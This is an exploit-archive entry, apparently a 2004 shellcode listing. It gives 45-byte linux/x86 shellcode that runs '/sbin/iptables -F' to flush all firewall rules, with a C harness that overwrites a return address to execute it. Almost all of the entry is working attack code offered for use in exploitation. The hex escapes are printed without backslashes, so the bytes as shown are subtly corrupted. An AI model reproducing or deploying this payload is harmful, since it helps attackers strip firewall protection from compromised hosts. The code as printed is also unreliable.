[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : linux/x86 iptables -F 45 bytes
# Published : 2004-09-26
# Author : UnboundeD
# Previous Title : linux/x86 kill snort 151 bytes
# Next Title : linux/x86 iptables -F 58 bytes


/*
 * 06/03/2003 
 * 
 * ( 45 bytes ) to flush iptables.
 *
 * _execve(/sbin/iptables -F)  by UnboundeD
 * greetz to s0t4ipv6.
 *
 */

char shellcode[] =

"x31xd2"                      // xorl         %edx,%edx
"x52"                          // pushl        %edx
"x66x68x2dx46"              // pushw        $0x462d
"x89xe6"                      // movl         %esp,%esi
"x52"                          // pushl        %edx
"x68x62x6cx65x73"          // pushl        $0x73656c62
"x68x69x70x74x61"          // pushl        $0x61747069
"x89xe7"                      // movl         %esp,%edi
"x68x62x69x6ex2f"          // pushl        $0x2f6e6962
"x68x2fx2fx2fx73"          // pushl        $0x732f2f2f
"x89xe3"                      // movl         %esp,%ebx
"x52"                          // pushl        %edx
"x56"                          // pushl        %esi
"x57"                          // pushl        %edi
"x89xe1"                      // movl         %esp,%ecx
"x31xc0"                      // xorl         %eax,%eax
"xb0x0b"                      // movb         $0xb,%al
"xcdx80"                      // int          $0x80
;

main() {
        int *ret;
        ret=(int *)&ret +2;
        printf("Shellcode lenght=%dn",strlen(shellcode));
        (*ret) = (int)shellcode;
}

// www.Syue.com [2004-09-26]